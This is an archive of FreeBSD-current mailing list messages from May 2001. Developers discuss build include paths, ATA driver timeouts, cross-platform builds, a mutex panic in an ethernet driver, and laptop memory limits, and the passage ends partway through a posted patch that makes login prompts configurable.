91C3037B423; Wed, 16 May 2001 07:58:01 -0700 (PDT) (envelope-from ru@whale.sunbay.crimea.ua) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.2/8.11.2) id f4GEvKX75377; Wed, 16 May 2001 17:57:20 +0300 (EEST) (envelope-from ru) Date: Wed, 16 May 2001 17:57:20 +0300 From: Ruslan Ermilov To: Bruce Evans Cc: Warner Losh , Maxim Sobolev , cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org Subject: Re: cvs commit: src Makefile.inc1 Message-ID: <20010516175720.B74313@sunbay.com> Mail-Followup-To: Bruce Evans , Warner Losh , Maxim Sobolev , cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org References: <200105160751.f4G7pqN77048@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from bde@zeta.org.au on Thu, May 17, 2001 at 12:51:59AM +1000 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, May 17, 2001 at 12:51:59AM +1000, Bruce Evans wrote: > On Wed, 16 May 2001, Warner Losh wrote: > > > In message <20010516101947.B23288@sunbay.com> Ruslan Ermilov writes: > > : FWIW, my gross hack to usr.sbin/kbdcontrol also worked: > > > > I tend to dislike adding ../../sys to the includes list since they > > might not be compatible with the host's sys files used to build libc. > > I'd like to remove all the existing ones. They are a hack to handle > the case where you haven't bootstrapped properly. They intentionally > give includes which may be incompatible with the host ones, in > case the host ones are out of date relative to the src tree. This > depends on only a few headers like being out of date, > and sometimes helps mainly for headers like which declare > system structures that are groped in by userland. But it is just a > bug in general. > I would probably volunteer for doing this. -- Ruslan Ermilov Oracle Developer/DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 7:59:38 2001 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id E968B37B423; Wed, 16 May 2001 07:59:32 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id AAA23202; Thu, 17 May 2001 00:59:24 +1000 Date: Thu, 17 May 2001 00:58:06 +1000 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: Szilveszter Adam Cc: cvs-all@FreeBSD.ORG, current@FreeBSD.ORG Subject: Re: cvs commit: src Makefile.inc1 In-Reply-To: <20010516111740.B2510@petra.hos.u-szeged.hu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 16 May 2001, Szilveszter Adam wrote: > On Wed, May 16, 2001 at 06:47:12PM +1000, Bruce Evans wrote: > > Even running kbdcontrol might break cross-platform builds. Consider > > running it on a host platform of Linux. It might fail attempting to > > do a keyboard ioctl in its initalization. However, kbdcontrol -L > > might work because it doesn't actually do any keyboard control. > > I think that cross-platform means compilation between i386 and alpha (and > possibly others) not different OS's:-) (Although admittedly you can build I have higher standards :-). > Debian CDs on FreeBSD with linux emulation way better than you can build > say a -STABLE release on a -CURRENT box... ) I just tried a Linux fdisk binary built in 1997 under FreeBSD-current. It seemed to run perfectly except it couldn't determine the disk geometry automatically. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 8:16: 1 2001 Delivered-To: freebsd-current@freebsd.org Received: from imo-d02.mx.aol.com (imo-d02.mx.aol.com [205.188.157.34]) by hub.freebsd.org (Postfix) with ESMTP id 2512537B422 for ; Wed, 16 May 2001 08:15:59 -0700 (PDT) (envelope-from pknaack1@netscape.net) Received: from pknaack1@netscape.net by imo-d02.mx.aol.com (mail_out_v30.10.) id n.e9.165d647 (16217) for ; Wed, 16 May 2001 11:14:50 -0400 (EDT) Received: from netscape.com (aimmail01.aim.aol.com [205.188.144.193]) by air-in01.mx.aol.com (v77_r1.37) with ESMTP; Wed, 16 May 2001 11:14:50 -0400 Date: Wed, 16 May 2001 11:14:50 -0400 From: pknaack1@netscape.net (Phil Knaack) To: current@freebsd.org Subject: Re: evil ATA Mime-Version: 1.0 Message-ID: <7DB1F87F.0EE451FD.00A56D5A@netscape.net> References: <3B029613.F1DBF613@email.mot.com> X-Mailer: Franklin Webmailer 1.0 Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Greetings: If the formatting of this msg is mucked, I apologize -- this is the only mailer available to me at the moment (ISP problems, and I'm not going to email from work). > > Welp, this is the n-dozenth time that the ATA driver has > > wedged large parts > > of my entire system because it feels it needs to reset my > > CD-R when I'm > > trying to start burning a CD. 쟅 get the good old > > > > acd0: WRITE_BIG command timeout - resetting > > ata3: resetting devices .. I don't get this on CD drives, but I do get a lot of ata command timeouts on other ata drives. The worst offender is my quantum bigfoot (a slow ugly drive) -- for a while the system was almost unusable. It was being attached in WDMA2 mode, but if I knock it down to PIO4 or PIO3 it purrs like a kitten. (Of course I should get rid of it anyway, because when it is cold it won't spin up on its own -- I have to pull it out, give it a good ole twist in the air and put it back in real quick-like..) > I don't know this case, but I've seen such behavior with non dma-capable > hdd > on udma controller. take a look at sysctl hw.atamodes (may look like > 'dma,---,---,dma') and try change it (sysctl -w > hw.atamodes=dma,---,---,pio) > to PIO mode. it might help. > > Buki I noticed a few days ago that a new command was added to -current, called "atacontrol". This command provides a real handy way to smack the ata controller into a slower mode. I presume it does something like the above. Cheers, Phil -- -- Phil Knaack __________________________________________________________________ Get your own FREE, personal Netscape Webmail account today at http://webmail.netscape.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 8:52:56 2001 Delivered-To: freebsd-current@freebsd.org Received: from alicia.nttmcl.com (alicia.nttmcl.com [216.69.69.10]) by hub.freebsd.org (Postfix) with ESMTP id 4D9FF37B423 for ; Wed, 16 May 2001 08:52:54 -0700 (PDT) (envelope-from gene@alicia.nttmcl.com) Received: (from gene@localhost) by alicia.nttmcl.com (8.10.1/8.10.1) id f4GFqnF03975 for current@freebsd.org; Wed, 16 May 2001 08:52:49 -0700 (PDT) Date: Wed, 16 May 2001 08:52:44 -0700 From: "Eugene M. Kim" To: current@freebsd.org Subject: Cross-platform make world/release? Message-ID: <20010516085244.A2118@alicia.nttmcl.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Greetings, Short question: is FreeBSD capable of cross-platform make world and release (e.g. build of Alpha world/release on x86 and vice versa)? TIA, Eugene To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 9:32:41 2001 Delivered-To: freebsd-current@freebsd.org Received: from Awfulhak.org (awfulhak.demon.co.uk [194.222.196.252]) by hub.freebsd.org (Postfix) with ESMTP id 43BD437B422; Wed, 16 May 2001 09:32:31 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (root@hak.lan.Awfulhak.org [172.16.0.12]) by Awfulhak.org (8.11.3/8.11.3) with ESMTP id f4GGWB100960; Wed, 16 May 2001 17:32:11 +0100 (BST) (envelope-from brian@lan.Awfulhak.org) Received: from hak.lan.Awfulhak.org (brian@localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.11.3/8.11.3) with ESMTP id f4GGWIb30517; Wed, 16 May 2001 17:32:18 +0100 (BST) (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200105161632.f4GGWIb30517@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: Bruce Evans Cc: Warner Losh , Ruslan Ermilov , Maxim Sobolev , cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org, brian@Awfulhak.org Subject: Re: cvs commit: src Makefile.inc1 In-Reply-To: Message from Bruce Evans of "Thu, 17 May 2001 00:51:59 +1000." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 16 May 2001 17:32:18 +0100 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Wed, 16 May 2001, Warner Losh wrote: > > > In message <20010516101947.B23288@sunbay.com> Ruslan Ermilov writes: > > : FWIW, my gross hack to usr.sbin/kbdcontrol also worked: > > > > I tend to dislike adding ../../sys to the includes list since they > > might not be compatible with the host's sys files used to build libc. > > I'd like to remove all the existing ones. They are a hack to handle > the case where you haven't bootstrapped properly. They intentionally > give includes which may be incompatible with the host ones, in > case the host ones are out of date relative to the src tree. This > depends on only a few headers like being out of date, > and sometimes helps mainly for headers like which declare > system structures that are groped in by userland. But it is just a > bug in general. I have -I../../sys in src/usr.sbin/digictl/Makefile. I put it there because the digi ioctl interface header isn't actually installed anywhere. There's no good reason for this except that I couldn't think of a good place (/usr/include/sys/digi/ ?). I cribbed the idea from the vinum(8) build. How should this be done - and where should I install digiio.h if that's what's required ? Cheers. > Bruce -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 9:33:28 2001 Delivered-To: freebsd-current@freebsd.org Received: from sol.serv.u-szeged.hu (sol.serv.u-szeged.hu [160.114.51.3]) by hub.freebsd.org (Postfix) with ESMTP id 8D60037B422 for ; Wed, 16 May 2001 09:33:24 -0700 (PDT) (envelope-from sziszi@petra.hos.u-szeged.hu) Received: from petra.hos.u-szeged.hu by sol.serv.u-szeged.hu (8.9.3+Sun/SMI-SVR4) id SAA26040; Wed, 16 May 2001 18:33:08 +0200 (MEST) Received: from sziszi by petra.hos.u-szeged.hu with local (Exim 3.12 #1 (Debian)) id 1504ET-0005ML-00; Wed, 16 May 2001 18:33:05 +0200 Date: Wed, 16 May 2001 18:33:05 +0200 From: Szilveszter Adam To: "Eugene M. Kim" Cc: current@freebsd.org Subject: Re: Cross-platform make world/release? Message-ID: <20010516183305.B13461@petra.hos.u-szeged.hu> Mail-Followup-To: Szilveszter Adam , "Eugene M. Kim" , current@freebsd.org References: <20010516085244.A2118@alicia.nttmcl.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010516085244.A2118@alicia.nttmcl.com>; from gene@nttmcl.com on Wed, May 16, 2001 at 08:52:44AM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, May 16, 2001 at 08:52:44AM -0700, Eugene M. Kim wrote: > Greetings, > > Short question: is FreeBSD capable of cross-platform make world and > release (e.g. build of Alpha world/release on x86 and vice versa)? Hello, Cross-platform world should work rather easily. (have not tried it since I don't have an Alpha lying around here:-P) See in particular the Makefiles right under src/ there is a good explanation on top in comments of what vars you can set and what they do. As for release, well that's tricky. In theory it should work also but in praxis the study of src/release/Makefile has proven to be some pain at times... note that I have not tried this one either... what I *did* try was however to build 4.3-RELEASE on a -CURRENT box (same platform) and to my great dismay I had to discover that even after loading the "bin" distribution from the ftp into the release chroot(2), it took heavy amounts of tinkering to get things going... the make world succeeded though, so I assume that most anything would have gone well from that point... in any case, if you want to do a release, study the Makefiles closely and understand what they do. -- Regards: Szilveszter ADAM Szeged University Szeged Hungary To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 9:41:35 2001 Delivered-To: freebsd-current@freebsd.org Received: from harmony.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id EF4B937B424; Wed, 16 May 2001 09:41:27 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.11.3/8.11.1) with ESMTP id f4GGfJN79939; Wed, 16 May 2001 10:41:19 -0600 (MDT) (envelope-from imp@harmony.village.org) Message-Id: <200105161641.f4GGfJN79939@harmony.village.org> To: Brian Somers Subject: Re: cvs commit: src Makefile.inc1 Cc: Bruce Evans , Ruslan Ermilov , Maxim Sobolev , cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org In-reply-to: Your message of "Wed, 16 May 2001 17:32:18 BST." <200105161632.f4GGWIb30517@hak.lan.Awfulhak.org> References: <200105161632.f4GGWIb30517@hak.lan.Awfulhak.org> Date: Wed, 16 May 2001 10:41:19 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200105161632.f4GGWIb30517@hak.lan.Awfulhak.org> Brian Somers writes: : How should this be done - and where should I install digiio.h if : that's what's required ? I think that ppi device sets the standard here. It installs into /usr/include/dev/ppi/ppi*.h. digiio should likely do the same. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 9:49:50 2001 Delivered-To: freebsd-current@freebsd.org Received: from meow.osd.bsdi.com (meow.osd.bsdi.com [204.216.28.88]) by hub.freebsd.org (Postfix) with ESMTP id 55CE537B422 for ; Wed, 16 May 2001 09:49:46 -0700 (PDT) (envelope-from jhb@FreeBSD.org) Received: from laptop.baldwin.cx (john@jhb-laptop.osd.bsdi.com [204.216.28.241]) by meow.osd.bsdi.com (8.11.2/8.11.2) with ESMTP id f4GGn5G70354; Wed, 16 May 2001 09:49:09 -0700 (PDT) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Wed, 16 May 2001 09:48:12 -0700 (PDT) From: John Baldwin To: Bob Bishop Subject: RE: panic: sleeping process owns a mutex Cc: current@FreeBSD.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 16-May-01 Bob Bishop wrote: > Hi, > > This while building world, with a kernel cvsup at Fri Apr 27 04:06:40 BST > 2001 > > kern/kern_synch.c:386 sleeping with "vr0" locked from pci/if_vr.c:1315 > > abridged backtrace: > > panic() > propagate_priority() > _mtx_lock_sleep() > vr_intr() > ithread_loop() > fork_exit() > fork_trampoline() Well, I think the best thing to do for now will be to back out all the ethernet driver locking until we figure out how we are actually going to lock them. The original locks that went in starting with fxp many months ago weren't quite right but have been mostly harmless up to this point. There are some cases where we sleep with locks however, which can lead to problems. -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 9:55:44 2001 Delivered-To: freebsd-current@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id D547437B423; Wed, 16 May 2001 09:55:40 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from beppo (beppo [192.67.166.79]) by feral.com (8.9.3/8.9.3) with ESMTP id JAA13975; Wed, 16 May 2001 09:55:40 -0700 Date: Wed, 16 May 2001 09:55:40 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: John Baldwin Cc: Bob Bishop , current@FreeBSD.ORG Subject: RE: panic: sleeping process owns a mutex In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Oh, I'd like you to think twice about this. Massive amounts of driver rototilling should be avoided at this point. On Wed, 16 May 2001, John Baldwin wrote: > > On 16-May-01 Bob Bishop wrote: > > Hi, > > > > This while building world, with a kernel cvsup at Fri Apr 27 04:06:40 BST > > 2001 > > > > kern/kern_synch.c:386 sleeping with "vr0" locked from pci/if_vr.c:1315 > > > > abridged backtrace: > > > > panic() > > propagate_priority() > > _mtx_lock_sleep() > > vr_intr() > > ithread_loop() > > fork_exit() > > fork_trampoline() > > Well, I think the best thing to do for now will be to back out all the ethernet > driver locking until we figure out how we are actually going to lock them. > The original locks that went in starting with fxp many months ago weren't quite > right but have been mostly harmless up to this point. There are some cases > where we sleep with locks however, which can lead to problems. > > -- > > John Baldwin -- http://www.FreeBSD.org/~jhb/ > PGP Key: http://www.baldwin.cx/~john/pgpkey.asc > "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 11: 9: 1 2001 Delivered-To: freebsd-current@freebsd.org Received: from west.lustig.com (west.lustig.com [209.157.26.130]) by hub.freebsd.org (Postfix) with SMTP id B9C8A37B423 for ; Wed, 16 May 2001 11:08:58 -0700 (PDT) (envelope-from barry@lustig.com) Received: (qmail 70174 invoked from network); 16 May 2001 18:08:58 -0000 Received: from unknown (HELO lustig.com) (10.10.10.170) by west.lustig.com with SMTP; 16 May 2001 18:08:58 -0000 Message-ID: <3B02C23A.691C0188@lustig.com> Date: Wed, 16 May 2001 14:08:58 -0400 From: Barry Lustig Organization: Barry Lustig & Associates, Inc. X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: current@freebsd.org Subject: Memory Issue on a Sony Vaio Z505LE Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I was curious whether the memory limitation on the Sony VAIO Z505 machines was a hardware limitation. I just tried adding a 256MB module to my machine. The BIOS seem to mostly recognize it. It did see 320MB of RAM, but had problems when testing all of it. FreeBSD current boots but gives me: Too many holes in the physical address space, giving up and comes up with 64MB of RAM. Is this something that can be worked around, or have I run up against an actual hardware limit on the machine? barry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 12:20:53 2001 Delivered-To: freebsd-current@freebsd.org Received: from mail.dada.it (mail4.dada.it [195.110.96.56]) by hub.freebsd.org (Postfix) with SMTP id 9C4AA37B422 for ; Wed, 16 May 2001 12:20:41 -0700 (PDT) (envelope-from riccardo@torrini.org) Received: (qmail 25349 invoked from network); 16 May 2001 19:20:33 -0000 Received: from unknown (HELO torrini.org) (195.110.114.101) by mail.dada.it with SMTP; 16 May 2001 19:20:33 -0000 Received: (from riccardo@localhost) by torrini.org (8.11.3/8.11.3) id f4GJJco19165; Wed, 16 May 2001 21:19:38 +0200 (CEST) (envelope-from riccardo) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <7DB1F87F.0EE451FD.00A56D5A@netscape.net> Date: Wed, 16 May 2001 21:19:38 +0200 (CEST) From: Riccardo Torrini To: (Phil Knaack) Subject: Re: evil ATA Cc: current@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 16-May-01 (15:14:50/GMT) Phil Knaack wrote: >> on udma controller. take a look at sysctl hw.atamodes (may look >> like 'dma,---,---,dma') and try change it to PIO mode. > I noticed a few days ago that a new command was added to -current, > called "atacontrol". This command provides a real handy way... Maybe I am missing some important information, but on my -CURRENT box (FreeBSD 5.0-CURRENT #17: Sat Apr 28 03:30:53 CEST 2001) I'm unable to find hw.atamodes :-( # sysctl -a | grep -i hw.ata hw.ata.ata_dma: 1 hw.ata.wc: 0 hw.ata.tags: 0 hw.ata.atapi_dma: 0 On the other (FreeBSD 4.3-STABLE #3: Wed Apr 25 10:14:54 CEST 2001) box they are in the right place: # sysctl -a | grep -i hw.ata hw.ata.ata_dma: 1 hw.ata.wc: 0 hw.ata.tags: 0 hw.atamodes: pio,---,---,---, Ciao, Riccardo. PS: It is safer a world this days? I wouldn't like to loose all files and rest only with lost+found as on HEADS-UP of same days ago... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 12:32:57 2001 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 4EA5C37B43C for ; Wed, 16 May 2001 12:32:50 -0700 (PDT) (envelope-from jdp@wall.polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.11.3/8.11.1) with ESMTP id f4GJWY008262; Wed, 16 May 2001 12:32:34 -0700 (PDT) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.3/8.11.0) id f4GJWPh88863; Wed, 16 May 2001 12:32:25 -0700 (PDT) (envelope-from jdp) Date: Wed, 16 May 2001 12:32:25 -0700 (PDT) Message-Id: <200105161932.f4GJWPh88863@vashon.polstra.com> To: current@freebsd.org From: John Polstra Cc: riccardo@torrini.org Subject: Re: evil ATA In-Reply-To: References: Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article , Riccardo Torrini wrote: > Maybe I am missing some important information, but on my -CURRENT > box (FreeBSD 5.0-CURRENT #17: Sat Apr 28 03:30:53 CEST 2001) I'm > unable to find hw.atamodes :-( It has been replaced by the atacontrol(8) command. > PS: It is safer a world this days? I wouldn't like to loose all files > and rest only with lost+found as on HEADS-UP of same days ago... Actually, I found that to be a very cleansing experience. ;-) John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Ch�gyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 12:52:46 2001 Delivered-To: freebsd-current@freebsd.org Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by hub.freebsd.org (Postfix) with ESMTP id 7F04037B42C for ; Wed, 16 May 2001 12:52:43 -0700 (PDT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.11.3/8.11.3) id f4GJqZO02059; Wed, 16 May 2001 14:52:35 -0500 (CDT) (envelope-from dan) Date: Wed, 16 May 2001 14:52:34 -0500 From: Dan Nelson To: John Polstra Cc: current@FreeBSD.ORG, riccardo@torrini.org Subject: Re: evil ATA Message-ID: <20010516145234.A11201@dan.emsphone.com> References: <200105161932.f4GJWPh88863@vashon.polstra.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.17i In-Reply-To: <200105161932.f4GJWPh88863@vashon.polstra.com>; from "John Polstra" on Wed May 16 12:32:25 GMT 2001 X-OS: FreeBSD 5.0-CURRENT Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In the last episode (May 16), John Polstra said: > > PS: It is safer a world this days? I wouldn't like to loose all > > files and rest only with lost+found as on HEADS-UP of same days > > ago... > > Actually, I found that to be a very cleansing experience. ;-) Me too; I would probably have never updated my /etc directory if it hadn't been for that bug. It also gave me a chance to resize my 32MB / partition that would fill up every time I did an installworld... -- Dan Nelson dnelson@emsphone.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 15:20:41 2001 Delivered-To: freebsd-current@freebsd.org Received: from meow.osd.bsdi.com (meow.osd.bsdi.com [204.216.28.88]) by hub.freebsd.org (Postfix) with ESMTP id 6CF8037B422 for ; Wed, 16 May 2001 15:20:37 -0700 (PDT) (envelope-from jhb@FreeBSD.org) Received: from laptop.baldwin.cx (john@jhb-laptop.osd.bsdi.com [204.216.28.241]) by meow.osd.bsdi.com (8.11.2/8.11.2) with ESMTP id f4GMKSG76774; Wed, 16 May 2001 15:20:28 -0700 (PDT) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Wed, 16 May 2001 15:19:38 -0700 (PDT) From: John Baldwin To: Matthew Jacob Subject: RE: panic: sleeping process owns a mutex Cc: current@FreeBSD.org, Bob Bishop Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 16-May-01 Matthew Jacob wrote: > > Oh, I'd like you to think twice about this. Massive amounts of driver > rototilling should be avoided at this point. Well, it's causing panics in some cases. Those are bad. Basically I would be reverting earlier changes. > On Wed, 16 May 2001, John Baldwin wrote: > >> >> On 16-May-01 Bob Bishop wrote: >> > Hi, >> > >> > This while building world, with a kernel cvsup at Fri Apr 27 04:06:40 BST >> > 2001 >> > >> > kern/kern_synch.c:386 sleeping with "vr0" locked from pci/if_vr.c:1315 >> > >> > abridged backtrace: >> > >> > panic() >> > propagate_priority() >> > _mtx_lock_sleep() >> > vr_intr() >> > ithread_loop() >> > fork_exit() >> > fork_trampoline() >> >> Well, I think the best thing to do for now will be to back out all the >> ethernet >> driver locking until we figure out how we are actually going to lock them. >> The original locks that went in starting with fxp many months ago weren't >> quite >> right but have been mostly harmless up to this point. There are some cases >> where we sleep with locks however, which can lead to problems. >> >> -- >> >> John Baldwin -- http://www.FreeBSD.org/~jhb/ >> PGP Key: http://www.baldwin.cx/~john/pgpkey.asc >> "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ >> >> To Unsubscribe: send mail to majordomo@FreeBSD.org >> with "unsubscribe freebsd-current" in the body of the message >> > -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 16:54: 8 2001 Delivered-To: freebsd-current@freebsd.org Received: from smtp03.primenet.com (smtp03.primenet.com [206.165.6.133]) by hub.freebsd.org (Postfix) with ESMTP id 5E70637B422 for ; Wed, 16 May 2001 16:54:05 -0700 (PDT) (envelope-from tlambert@usr01.primenet.com) Received: (from daemon@localhost) by smtp03.primenet.com (8.9.3/8.9.3) id QAA22846 for ; Wed, 16 May 2001 16:54:03 -0700 (MST) Received: from usr01.primenet.com(206.165.6.201) via SMTP by smtp03.primenet.com, id smtpdAAAIpaWLS; Wed May 16 16:53:55 2001 Received: (from tlambert@localhost) by usr01.primenet.com (8.8.5/8.8.5) id QAA27838 for current@freebsd.org; Wed, 16 May 2001 16:55:27 -0700 (MST) From: Terry Lambert Message-Id: <200105162355.QAA27838@usr01.primenet.com> Subject: PATCH: /usr/src/usr.bin/login To: current@freebsd.org Date: Wed, 16 May 2001 23:54:06 +0000 (GMT) X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This patch adds the "prompt" and "passwd_prompt" fields to the /etc/login.conf, which makes lgoin more like getty in its ability to be configured. Sorry, no documentation at this time, and no support for "%h" and other getty psecific things. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. --------------------------------- RCS file: /home/cvs/FreeBSD/src/usr.bin/login/login.c,v retrieving revision 1.51.2.5 diff -u -r1.51.2.5 login.c --- login.c 2001/02/13 13:05:20 1.51.2.5 +++ login.c 2001/05/17 00:28:57 @@ -116,6 +116,8 @@ #define TTYGRPNAME "tty" /* name of group to own ttys */ #define DEFAULT_BACKOFF 3 #define DEFAULT_RETRIES 10 +#define DEFAULT_PROMPT "login: " +#define DEFAULT_PASSWD_PROMPT "Password:" /* * This bounds the time given to login. Not a define so it can @@ -128,7 +130,7 @@ struct passwd *pwd; int failures; -char *term, *envinit[1], *hostname, *username, *tty; +char *term, *envinit[1], *hostname, *username, *tty, *prompt, passwd_prompt; char full_hostname[MAXHOSTNAMELEN]; #ifndef NO_PAM static char **environ_pam; @@ -257,6 +259,8 @@ * Get "login-retries" & "login-backoff" from default class */ lc = login_getclass(NULL); + prompt = login_getcapstr(lc, "prompt", DEFAULT_PROMPT, DEFAULT_PROMPT); + passwd_prompt = login_getcapstr(lc, "passwd_prompt", DEFAULT_PASSWD_PROMPT, DEFAULT_PASSWD_PROMPT); retries = login_getcapnum(lc, "login-retries", DEFAULT_RETRIES, DEFAULT_RETRIES); backoff = login_getcapnum(lc, "login-backoff", DEFAULT_BACKOFF, DEFAULT_BACKOFF); login_close(lc); @@ -651,7 +655,7 @@ rval = 1; salt = pwd != NULL ? pwd->pw_passwd : "xx"; - p = getpass("Password:"); + p = getpass(passwd_prompt); ep = crypt(p, salt); if (pwd) { @@ -819,7 +823,7 @@ static char 